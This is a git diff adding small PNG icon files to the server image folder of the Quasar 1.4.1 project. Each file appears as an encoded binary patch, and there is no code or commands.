z2x-&;d_O~HkmKXt5Cd#Bs?-+qj3zOiUdU24KowBIUPg(gPNmxqX)Fiia~V*$y;5L( zrGNmU;81MA$F2k%oeUXQ@}N%bXz=qOij$4IYk4W=jfhDxfCz{PGXe-#ge#VfYTyoj zh4JvDePrW{lf(Oux2xG;VZmlSvDU+Qf@i=O!B`MLglhttCUHDIKkc7FGA|gUiBpPKsNC^f4AtjM-BOo6I z6r`2%Aq86cL2037X}jIFyW8#V&zXS`i5Q*a$xLSEecpE_F9(1-jh2z%g|>+>+9xA0 zkA`ml?cS-I4VJBEmYFboVFjV6ilGGo&n=#={}R-6x+aGgB1p&v)GVM86wScQ&nTXB zxV()Yx6hm^cssa#jvorBcDDqH1WO7Kif0)qmB@%>Gn58D97J7@zwm_MRj>bE`@}Bp zw=N%IUV^D*3FYq{D0}w<#cynQ*tSI0c9ar2tzlGk`gkVb2Lt-h!U1+kCK~*&K_&Eg zBa1QAcKdbiwZ-XEGCIUmmSv@bUpq<3R0cN(WOi1<+aaYj^vwovvBKizD$OfKf^3*t zR*wY-2^CREWpg+t!?!14)f;1Hg^#T$ZeGF0j);QBIfEujA4UQ4w zNg^VWy=WTlU;>5#6gAADc`ObgsZas9yG=GGSPAOrw~1)(ceCIa2^Lcs1{H>cG-|sx z&^i^zCubH1(vjd+-8>UG_jIg=bbMYEQ2D`$>W=jjJZN)b-Xmkum1P_Y3Lece!FpJS z!>?lC`#zZ!Ci@+_*F777byLAt?~&jo5nMJ|NvG*p4yY_Uy|}ik{~@5z3VKO`8J7Yf zK`WRCms>h+q)5+>IRvcjsPGB~y!!?`1Q)?g*ou&Kgj7kMY4<4@AgvzQmr(HHo5AH2 zwR@tHqVEVPBc9SA${J~94M{}<6;sj#nUXm~5M|xA5s~vvmM!jVVbes;o!;2_ve8U# z#kiJNIi=-SS+z^mR_#j7w05;_TDwNLUVq4q`svKor(cqJeOSYYtbpBV}~vsBnU!_?2tr-P=|^T zED%wc9ezHgW@NMb!^uT_|SvCpFLJylbx zY%bpaTGI8IYXMN$9w<3j9VkA~NYOKEQXsj?6a9_hcwfU$acAhJhB)zb_w@MVUEy@S zX&I>K-R!bhu3?(6bHWIg$HEl7{9g>>&l_qdd+UYb(1~BCo9LptNq&8>!yoJ3Ui(i5 zRJ|XnYBklL!{@$-7=3mJ>P@1c=7Oc79e-V7yf+%lD2!I;Y&nXBZ>=B!5?CB>LvEx6 znI%n)qqi$#X#wKB(U7XP2P=+4{b@j#r%9-K(8UqtSDk>0UKzf*HM9yqMZ1D!$2MdZ zR=`U>0zhOH1XqN?nY@AQqB7)Fp4{v&dKXvb43hZKvnN8;Po;+jY*}~*Z|W9Q0W%{D z^T}Cc<|r(Su=1K=P5>Z4 zg`et&Va}tdzBS-G-ZcO)zCWpJvGQwrHZ`@wpM420ac@bI5~KkTFfGEM3sPWO8co4^fI6lPnA)Y{ef%@{+SnoUk0+dW+*{8WvF8}}l07*qoM6N<$g7cXs A&j0`b literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/error_add.png b/Quasar-1.4.1/Quasar.Server/Images/error_add.png new file mode 100755 index 0000000000000000000000000000000000000000..4c974840e957a8f7a012410b90ff06a055534a5a GIT binary patch literal 710 zcmV;%0y+JOP)0|UoKa{= z&8FsYq_B&mZpt0E>87*hKHb{)+V{Wr9ETXWS}*)~Iqy0D-}9XJoR~5ld`QhI}Rf=kyg=`}az> z6_9YbOIPpz>6=3??LutnEEWbESt4dJveA!-IcBl=q-xF5yQ};Uf$LrUNN8S3D*2Ff zbrXRM%i3cFK@;Lu8FI-LxMy#JR_##yCLrM|r?xJW&qR@l7?7~ZSV6+xhV{>4L`-L( zn{2|(zGhrfoy7SL5v1)r)uzDtw(e8d{ETdz8%bvu5>_b@G;hAb=-4UTd36Cgx(8oe z6x7q#AXZnSLC#e&;p3i}R`Shb;0q98XrPydIV-D^%tSm zUxq-=O>rEfd`H~zffeL4LBfv>vcV0=+KF3yOwj$zREm=3`CK2oDueOV3ra~_rl z55P9C4@*z?V6ksEOpkZMsH}wOdL_E3Rw$?zHmsOxVLK4Yx!IzJX)B~s$7$t$JfPax s%FN7MvwKjApdjfaM3}Y5P)NtNS4FfTR?fV zd-U$^Je{j6ms;sQ$x0W9{2-vej@j?m;OyLe^1lK^PMq$}3&x@WMEwRh-t6*Cz1o?$ z>cF%nuOm281Az}gh&nMld>8cd%-U52h@9bipA$oD9`n;Rh6YFOJ#egzJJ9aSS18Hcm)GW2(nZvGY^a*Dk@ixapIxS$TyUW9VEi<~naf zFm{1`b{2!D6IX6cV&K;Zm@nFVL~V~yKksY`|V;Z_*$Z^m%-M)Z`*z%-lyh!i<5!3<%tf`X=mVpsf`mZDQ^xca3$ zm2*@k!+lW(Yxx>{D3kJC#nh!$1>$^GBwf%HQ#P_}ft=~M93TG)8Pw_BIl6BR00000 LNkvXXu0mjf|4UE) literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/exclamation.png b/Quasar-1.4.1/Quasar.Server/Images/exclamation.png new file mode 100755 index 0000000000000000000000000000000000000000..c37bd062e60c3b38fc82e4d1f236a8ac2fae9d8c GIT binary patch literal 701 zcmV;u0z&N#0$9Ug7g~-`rQ^qx~m@y2OU8A z#zh~=7n#Z$Z*fx-GOtDf07cgx0suCz_W(2~Y(0tf@FX@P6EPuM_dgn$vj9LucO)%W zw%HgMW>=#oL>nZ>M&NEf08>)#)k<{$fCT_r>rPi=BV=hFh6WS^qqze>C6Ek}o{M5% za|@JGowu0t{&hgNzySHZxy@LTNh);YzZ2zSp_ zl$^T&Dnc|NLb&RD_!4>pt@VHdP)ZGER%5ZmWEe$lryR&y;2u^3cOkO4#6c%-(EY6a{600000NkvXXu0mjfxS2AI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/eye.png b/Quasar-1.4.1/Quasar.Server/Images/eye.png new file mode 100755 index 0000000000000000000000000000000000000000..564a1a9714ff37aee1c8758109113e434eff7862 GIT binary patch literal 750 zcmVWW=I5Rl}zuENrQ28Pt;CX(qKOcDU|M8F&Z%jVGSZA7t& zSX&s1bi|{*v*DgAz3ST9+K6Us3~0Q9*~BWe6PID=&0x|wWdf!IWgI(}6lv9v-FpSS zw1U9OL{Ex%ACuJL>=wxTZg0 zEf8`!jsrze5UvA~SqG-HeEY!{P)iC{?3#nq?S616TB~hnMW{0-6j9tLvf?&u+XiC{ z?O_E0jiYQZlqIojGL$5a1qk9N)mlxpmZq1W6gHT`ec`8K>j$jl3}`WfukS z{=!u2#P1a^U!H8Xl5T`7??NT1t zUc_pqB=&-xQ}oxwg~5^6HaUDuDLGXE;y3!@QP_pOFSc-kKKIu gX8xa5{%_a#2W_ovs9z>%07*qoM6N<$f|edvg8%>k literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/file.png b/Quasar-1.4.1/Quasar.Server/Images/file.png new file mode 100755 index 0000000000000000000000000000000000000000..d60cc398bdcd848b21b9605f1827342f1d447793 GIT binary patch literal 510 zcmVfcKY#vY`1bY7G@#HW1~kA3rFo*Gqwh_eJVg{F^dF@8 z?>~lbKYlVifAyB((X*Efdp0hAGiS~m7ogNdYzCOFUbFU;iMb_;>Hq%yWBC5#7sH3o zUm28TB^YX}D?x@hBfA7rPr&*`T`+Y{;iC-x>ILIKk|eruw&YX3us7N}WeD zVC_j;I|l}A;K$G33_pMWVPIwgdhh>#hWxzTw_7)@*9S^Hg&P3$!bvA*7Y1D5FDOjD z|6q9j`W?fn)oU2~+w0AN!lzISaC39VX~2IV1jPy{U^i^o$dHqff@%QJ)RSIbUJQi5 zUtl=iD^{*L z85|TulmTnktpmCs4Ap?;D^{Ki3k@O408lJMMuejpuypx~lab+JL>aJrnb$#l0KX5-5rzh`-v9sr07*qoM6N<$g3Te{ A9RL6T literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/film.png b/Quasar-1.4.1/Quasar.Server/Images/film.png new file mode 100755 index 0000000000000000000000000000000000000000..b0ce7bb198a3b268bd634d2b26e9b710f3797d37 GIT binary patch literal 653 zcmV;80&@L{P)WO3(`_cf+b25@DJ#zdQm}8GzWtq2-QnZ8W6mB^kfeK5f%S{ zUW%tGMCwrwic~ZrQcG=4f?5bkV+3dRk8hw6bk~y$KX#b!y*J4EJ~>;dRASqrSu;ZpM>?P}K~6AT zWv6Dmq?v&9LdXC(m%WCO6ma_di$R(v$@ad_>@R41N3N5lSJq9@6CGhX84-$%Xrd_6 z;){?{E|Ytt5$S-&Au>t4wDlIxdkfe-a22LMj``McG};r8@{GsRPm*+8fFey6C)@ifDBXVyTw(N@Xd41b45OFg6x_QA zpwLiigyy~cVoPxW^r~C7ZQpr%>1$*HKmv~AY-qJw4;gUecS--wnqslISSS=^KA&Ic n@BK|Onfz#3R%n{$a)0j^sqv5F(1NTL00000NkvXXu0mjf3S}fX literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/find.png b/Quasar-1.4.1/Quasar.Server/Images/find.png new file mode 100755 index 0000000000000000000000000000000000000000..4f2a46098b9345aba2c82e73830acbfb5e39a5a6 GIT binary patch literal 644 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GXl47<~hLLR|m<|IfzGuBf686c-d0 z1(Flyt_G561(j`+<}X;YQ$a~pQbtZhOdN=cYTLQFd93VRRW)@?EbV~eeEfnwK~YMo z8bD=w#^#~1sX!5C7M3Xs*H<+6HTTZ}B3T7xMn*;nX;}?zeZSC{z9ri^IJw+>fKC7b zpcGI&D=Qn&8Jt|)ynOtk;*w$#Qqr;tKr?|31KOpgrKhcLtZQUuU}9-(VGFd{!q&;! z(apil$I;!_#Vf$WKg=sI0%&`9a$!VHQ*?4pbZ&EOT3%dwL3~DGQg%s7Zh2~c1<+IJ zh1D5FHCZKf*`@V4WevIIP5Bkg1y!wu)omp$Qz}~~R8L%0+c~wicYf`}WsTD}H1*AH zoj4a56kXGobkA7UH+#k81?#3P-!*OV#zpIPE!nVV)s_QmcN|)`>*2#!u3o)$`@zFUkDfez_wMJoK@> z2&ik1r;B5V#O34!1+Ek6szysxy%brV6vav~1&b!c%zrXNMVjsRf&yvBJTW#ly?-r7 zIMj~|_;26gq0Z>W#%6Z&%!LatO1A!p;J+>*8OFwT?nuuAhxqd1W2MxECPn{*ELdZ1op0xyVpxzDdhz3h^YVPo^S(T97!Wp}{CC5s zOO0&MCbYN{*S_u5sKy(UFm7-Lr)M|odnZ1F`|tp z;QLC~;7ZS9V!0QqC_yL9nVW1CJTMZN4M(R$+ zOTZBsFr_4h`&3JNv0I_O8fwI~`z}0v3|$@I8UFpf@&;uE8s7DoF&~bRfJhmzX*a6< zs}(O~Kx~cpZxH}pS*S{qZRPWYW?G`zW8AQcn3#1@S*BcNV6f!zir{5lPjYZSt>eR~E27PJ0+es0y~s0ch&nN;M*NkCc% zXiQ#beHkC&om4IpK8qPut?)aNVjs<%39&#|d3=N1!OZi|I!ONj#Vr@M%?lVEC`+Fg zAQwL{?FfzVoB-$9WC=Ju7r^r86-w*!nR~wgLM67#gs;7-00000NkvXXu0mjfgI^=` literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/folder.png b/Quasar-1.4.1/Quasar.Server/Images/folder.png new file mode 100755 index 0000000000000000000000000000000000000000..784e8fa48234f4f64b6922a6758f254ee0ca08ec GIT binary patch literal 537 zcmV+!0_OdRP)x(K@^6+>g^d@v4;gkbWsEoXE%32*i1tcpTNXd5CcIl)ECgqz|2rE6EW}s7R?kl za1q`0GCkMruC6-2LANtwVlsgzsp4?{@7$`KBv!G66>Vie3h?3OmEEkjwdLG0PgLVi z`!N((f$A@n17Ldj#`};0I3@iHJ5M{#IZz|UIYRm4(!uV7eYIYIwQf&}_2J~}>pQ^n z6o8--^T(=hkBNQ_k{-_GWE;FMW7!p}f{NG3nHZ{D5<3d8&tLh%a4AqqnjMkr3m&fkMdECD3N5}Unig5wy40;>lo4j~k+e}v)` zR6)J8Mk*u=SpB`p6o)7j?S0T@9?bz#m@l>gc*zk__|*!FMcHwP!gwLJvS~9c0px8E zWN@Zw27r|iugjyK_i?%mf=ZN1k*q&Uedp~2B7g_+fS`hk+Nr1A{hI)z0`VHB6Nndl zX$Di6C%-U4JXr@~z-vS-U`e(1B@n-FV+JTmdRsylL39C=TOrljOR~Cct>JYCvg#mK z1ulqf0!%<`#~!NMu5Ba=9u&fmP-Zhc6E?!yaAE01t20W#1|(JmqlC- zu^GHsMqCzbhR}vI*0gbTWQ<2wA~0LlNQ8*Dc(aJuEaI~Cy?zX0(B7i0rEb>&+G>xJ z3k&o-xX8WohAjXsqHu`)jo1ugGgz-V-_eT`kMj#kXL{&TC&D=t zDS)urCatsVt!&16hZE0Sc81**wR}pC@@4w{a?#MB{`E|khgw{yHQH-JtJz=E5u9kb zz}U(G`SI(6vnfMgxg){D+Lwutc1Si0swhN#FwOv#}l83ts6rCW;r!9Q9l zl<41549yYiq6clJ;(J(YgF_14nmKFB@QK(mo6I~sr{BJxJ$rsp0HSt^ntND0Z;o48 z>O2Ckm9}n?$F`*>$L{;{zT>f+bCm7tpaqw^4q@%k z&cHHt3=3xZmt6rQ_dtDM#)Xwp66-Thu=<9?(zFvpy0gAr0U4Z3smE5f@pZNr!NoqT zEjSPuCQzMw(H;?yvf{+e;!7(;4hv)+d%cjKFiBL%egy0aeCof8z<>rLEjMsF|CBRH z86WcxAYvS6H;Yq)jY1Z-rrjWiu~m;clLmJlDAE7UhMJ*jBxp}s&nQkrZvqDXxsiv3 zSJ78>4W2GFIu$$+Ic&5Pq{1?zhIy(24enCZy35e>z6~XgVx$x%k(+>tPw)9SL~R?4 zs${`1bqjTFC3F)dxIIw>)!QP7$vk+;^#2c5r{lsjtwKYnfnn+j{~{GK;|I8rvPFU z5NbS#W7m)ofjNER&&ggR6fXi0xd4%4143#8JZlhXW+2TN#8b=5@L&-EUlY^cTT=>w zb_~+jfcRCYfdj}H0J49#sP#gtxE~%YBJiQ3AjMgoQJKuMITA}Iz|zizG7pw|7R*XF j=$D`QjOCK>V3B}dL4UFUkhgq600000NkvXXu0mjf1x-zB literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/group_add.png b/Quasar-1.4.1/Quasar.Server/Images/group_add.png new file mode 100755 index 0000000000000000000000000000000000000000..06c5350cb197e64439aa1d0b1aa438b013c2f4a1 GIT binary patch literal 807 zcmV+?1K9kDP)mo3jW}i{%_@b6dHYnoXT!P3L{yXgdAxrsZYf zWtGn6Fta7-gNCWosY{E%J)~Q2p<+ThPn(n)hWUlVmmfdQ=X*FL0HnPnjy}$wR(mbZ zx1PY9#(k}c=g|-q=yB-J|DI-E_(_Vj+1;_w=7ycBOZBYY7odT8j9BROhpm@`AH$Wf z>4LGKJq3%}^ZUL4s_3JYc5^Qlhg4WIKg05S73L>;&|mCl-4}ow9>bk!$=q0)?0{po z6Dt-y>;nXf60Yk03E+~w*h+TjBEcX-#iFbw(|yMXVd_u2j*qWhg|HiPFH0JTB?qXs01CQi` z;2Ti-Qit3|Ed+!H^&_hgDCQAga(%sPx*A;3V83xD&;twuaL1LRd=9a^ zDBPBMqtckTdD*pHZzn)X`rMop)Kf&w4y3i{{nJN5&YN;-8f5V#Lb6Tpyz#;+&q^#v l5PBP&h9y_*-@Dw^-!JB5sxM9&*;W7m002ovPDHLkV1kg{c8>r6 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/help.png b/Quasar-1.4.1/Quasar.Server/Images/help.png new file mode 100755 index 0000000000000000000000000000000000000000..5c870176d4dea68aab9e51166cc3d7a582f326d6 GIT binary patch literal 786 zcmV+t1MU2YP)$XgYMs^AIOw1Qr{*Wn)N-{9ma}x2(<~`9Go1=*>YR!KZvrBS zCd!u}@M0og%Ev@_;Z?Kk>Wwv=%h_57zmt2<_1msz_niYE=YRNPpd%02TK9oK1z z>ooPno}v^sikz_|1XHFx_L%~;ljh7i(jiay5F0x*+(9aXXFCl?AdQj5XlQ65%sEv+ ztfe?|YcjPN*@yYtE~ImQh{l|#A6Z8iu>pf43Rj52CzU_dMQm|S2xR62YjQOn+z8WH zaK=!}ggOZi{4pB7SQ=xC0n|vXP_Bkx_a)FeNd}w8U97BNbSWxa^QW-li9BZ#M1!_xE*?wzt^GcoeoL*JGLSe_+l-JT2#2tz!z&^ z_s5anq&^nBklIMwRvcoP3%qs%%Ea?1c{_*V*Xj&~uLu-2Dp1fUN4<0zMo$EH>*U83 zm_9;Vt%-bE{_J_!If!1y=c+`QVZ>0_BPy z+%^pgnv`f8H)Z%0&Tp8&u*MCIC4igNW5MeWM_DHpDNi)Zxz|9XboOnitwFq$ETN=X zj-tkCJnz**Y4k#6_Ty^B=hWo~L!47r`HoP=x&3T1)JLr2t2+#fHP)9Rl#FaScf1rbdiwsJlF($-D2a$MB1QH?*P$(@5T4@;&OA53{ z62x9;g=MzM@3B}Z6q2JnuH-? zUBh=^5nso`tIMpW;}SD*?>znX))|eYdi7(c&C5YW8_t?tIU z>Ny7&^Pebhjth`srpO|asbD=?gpU+WKXx%hg}DA%|J1=w1E3bQW2brAk)glQS%iL- z`SP4IjX^57**EKJK0N;yU_Z*GguxzUVD)Dq(FOHK%^eAtSc;pSVFoq==$r8wjtx+n z;uq8_iQsA|i!@V3bf!VptWTH>59QQ$XGs&d#Zun48g&^nWN z^4`U@k2?PS6UX#XYTlj3cBYJ6iA9-|t1JhG+#TUO+}j1X$SI>}h@{JnYgEm?zE1KIqEP)v;U&v3%|^C`Ga3?LtY&4dQB4Oz;1v;J%z!D&%WRH@BZ?x; z3)8@IUIv@hG|@IwyHLC`l{1<4BK>wam95g|i|?Cfzt876&-Zx_0f5*l-9`IJI&mHu zE6$@xB)6N}7VeR;!X8D!TAw;;&0Bsj?A071cO>X3K0wl7WZ1;Tg!4LHyNcnzoeQ7t zNW`aSlm8WXYkek&ir$13=ngczvf zV0vnjNpCF&K8px}dunv+`LIb-sOC$_jD(;IBI$xC|7`(+9cA>Vir_V#z{?k7SX^Ah z^71m~W@q439Ycqfhi7+gp#A14n1n1!e>$EdeATG|f798Y=ggzwEKH2Q!qU2QA(Se?dwqG69%>n$6rtE z%F(845Az8c{w(XgimJg96!jLMz?zS6I1HUm2baqQx7&@nx;lhHA!r6vs2|fqJETOu zLxeu2OQ(3(au%dg>AcZsWI(zXn9XJg1cLe8k~0h0wOL=&HK}7X k{AKr*U4z7Szv)i%9gTgghwgU$Q~&?~07*qoM6N<$g31kYk^lez literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/image.png b/Quasar-1.4.1/Quasar.Server/Images/image.png new file mode 100755 index 0000000000000000000000000000000000000000..fc3c393caa3bc4371d12d0c67ffd6d333ecf1d8e GIT binary patch literal 516 zcmV+f0{i`mP)0oSgT$J*kO*Aq9I~CW*s{G*(t$KS{OS+#aO%?udUme<*TTEO`Fr@r_QT zk=#}u-n~>Vm!+9S1PE{@3<)G~CPb<$Za;W?3+O}|+q)?*Pn355=}S(XIZmEANjZci zf5 zj<%@MX^bD1^BwlS^+AD|$dm-1wial0hwPI;CDM?Y9SXW#@w-UF0SQ8OgplRTleOB2 zUjkDS|0U9pI|lSN*EvXUa~*UIclJdZ#)Npbwh9>YT?Z;=B8|l&^t~P~om?<5Lre$+ z;%`P>SL7`djY#8Y9$wv9dv|3p)9Ovu3r^Sp@>J&i__b$%mxew<#AEK)K4_tuGzR_Dj zPEIW+13!^2!Lpmfum?NCj6AtX3WL`1|z0WJO$R6%tkR)SoHv)7)V z2J!;SiNK5OjY!w+2h{D`h38lT^}tkNg#0yvV}#EiXX)>`NH!2DT1ckB7?;L|{Tz(8 z;ur_j0K^3mj0hqIV+lr?y8Vsi$6LOTA8J(bfmHy@>b zcO$Rop0fUa(vNo6-E;xeS_D{{pDQU43O%OnNC$xlI9%J##D`I$O)boS8oT7?XD#2H zp@F_)^gFKH=_e!=bR0Mbz~#1kjL!}OW4;TpGi>5Em#V5QmwXEgf`!BCTAaDqG;d>5 z^tO*M_~HzHzE&w0V25WOoga94ESc3NYfJ6YaewCBwAXT|mGRkO%EV>r%_P8({OdYL nyXyvlE}#-v1%_wt#(IAOCI8(qh6s|AZQ;I8AMQ)(8AgTxri_~QH!8j7P*R` zMc^VU=$D{HL=sFyKO~Ajq>MlFfA48AXxr=Z6VbHN*b1^Vu&p;5ljX0cxTq=?a5f!hw>Y;n!k*~vFnseWh_8s^dl9C`3w#?js<@l-uiyFgp|$5{ nCx+WSD{<@TkixBf{e_-iDvsiFH^U=e00000NkvXXu0mjf5N;`P literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/information.png b/Quasar-1.4.1/Quasar.Server/Images/information.png new file mode 100755 index 0000000000000000000000000000000000000000..12cd1aef900803abba99b26920337ec01ad5c267 GIT binary patch literal 778 zcmV+l1NHogP)BVme|mWaqy4$_pJm?y9KM{-*hp?1+Ey3e-CEDooTa!B;e(Q>TSF?bj>5At13y1p zriN3w3x~5SfZj{@J4M{kp{?=M_Lh2bV+5LH)Q)5W!-ePA$RgE1@5f1cyHki0Y}JyVEYZF(LD$xXlt$7A5CgE@ zpV-&l%vf;=5kZ2-2gi@Y6J&=cuwt>!vJ^#(&n|LcZyUzi6Duj$$hJ1s*HD-#;k-w@ zpdrwAuoDG_N2bvb07G$Zk*?Hc)JLtW4yqOnic_$zO7NZ#l>Fm){;fE?b$IbOaX2fe z0la4g0Dfw2xk7Wi7NapVD8YMPCZu?A1QCK*67dgsvRKBLFtrM>?$%&_lD1882mzdO zWPdw5KWw6IT`m1b_8=lS5jt8D3=RDa=&jWzR-)S@56WMslZ~mKu1)-wpXB>rNBQ>N zU#K`#1B&v|_AQK;7I~B}OdGiUT9LX>f0xm6<;LeP!=vFjPsUQF*wCJ*dO)4YBypgdiuF!=i@6Zyi7F|q#K zz?tlSZULa@t1D?$e;f@b36&N!V2mjOHw|*X8hh&afVIl+!L;jBWxi#5B5HM)j0xPvp%mNv|g zGs}xI%8D||i!#ZIGRTNAz?`Sq5AHu z`tGp$@4Nf&h5PZl`|-T{^1l1@#{Bc3{Pn5)^{)K&&iwb){P^De_`&}C?*9Dn{`~R( z|Nj5~|EI)kmjD0&8FW%kQvd>chmn?;o1CM+%gxW!*xcpo?e6aH@bZL^CCC5(0I*3! zK~xyiV_<*+RuvUi1|-0$l9GZf!m5%K8k?!Yfy56CQ&GuM|KCt?X zXjeUJXQlWASzd?>L(H{I-9!YWT5Wt4 p@CA>*i=P+^k~f(Ig@l=r_y8&C9P4O3%$xuK002ovPDHLkV1k;XR2KjM literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/key_go.png b/Quasar-1.4.1/Quasar.Server/Images/key_go.png new file mode 100755 index 0000000000000000000000000000000000000000..30b0dc316e52dba388d88112d4c1cc32672fffbb GIT binary patch literal 744 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 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/lightbulb.png b/Quasar-1.4.1/Quasar.Server/Images/lightbulb.png new file mode 100755 index 0000000000000000000000000000000000000000..d22fde8ba46eabd4335e4fa88077e80f96b92d62 GIT binary patch literal 782 zcmV+p1M&QcP)0XYhLR!1P*SpVQi>)dUV<_*6qInHGcnEb zQfX6|c{lO4l#RKaZC-XZ&u-_k%Q@eEE?Qa!_Tt0u@H@}<^E~``A^=3}gr(l4vU*i7 zyV6Lx=4yE7RGGkx6gV71cjvY=iqb#p!ylZn>j-Cf+b>x95wMRT==lzjH$f681f9ze zR{P)>$i_z3RfAovII&B>n%*Ds>XegyS_9EX5sW0f1d*FX&^tjGBX?Rzej4t{=ddW_ z9h>UH!(o9}TURNVdq{y5qM#$E1yaxnNWKtKkRh^p1YA9U=z#4*HY{(h_k{(nnF>pQ znJ2Y6(rFb^z)nJ2pnqIQ&_2v{yl+xxUhm5uO{Q#!J8DY)klFd_YP)!y2hX0`01t+}>V>!L2Ii?(iJ%bC$d(ON6}*wnOwG9V2N zOG`{7!B5mwL_|_S2m}#C`CdG|@7W+M+U(-lIXipb-}9Vv-Vy*Mg_?2)&x|dud>nH6 z+Pg4Y7{H$F@$4DL`b~nbIs5knvB+k zHj8ub763Kx9CrFf76K8`6xv9LChyt?+yu)3H}{cgBtWFDjV( zT46G1p#RVaN{MFkER1%KNN}rd=ywA89=YD?5^*~T(5|_U4sv3(jyQy?qF#!I-YIcK zeuGD!Ck%N2HSJIh+U=tYeo@e&trgAm(x7tzP$_D_zeF>F>u*g-I^VNp4(M<9KQ~%~ z3}FWb=nBN{ra3RFTFeCC z!$l`CCu*vADm$NUP}Jde?Il#nFW_p845!NWW$Et^{&SQIRV}^fRyMzZQmIB=eG~3I zc!HA^Wx-;#MFG+)=LYmWJqQGXuvo_MLh%Zf$0hUI2Iy7tvy~@~#>&eNWlKvX*<(i} i@%N3@m$wc0AN>MB3Mf9{XhoL*00003kp_oQM4NsQ6$aEKj6mx0hg})10sT;E2V;K zUHNY7qG&TIJ`gc&M*EmdrgP_>>zSLTO=}7j2M*`nnfbo+_|8cvrSLzG(R^{I&fHg| z3Nfi70*Jk=pS3m4lD_qhO!oanz~FpWe?InrjDM6H7D@P(w+NOTuL0gfPQ>)8EiKPO>RV|@%G(EApK7|ni6$Or7s}#zN5D2fFuoW z?SUp(cysDe%D^FVRe!-fK+o2zXp zH&*H~_``&05AX{CqjQ9Pq)Pw`p&~+e-<5=lgjH9A;4MsYR*p|Xp3o{VtL6Q8vD&1u 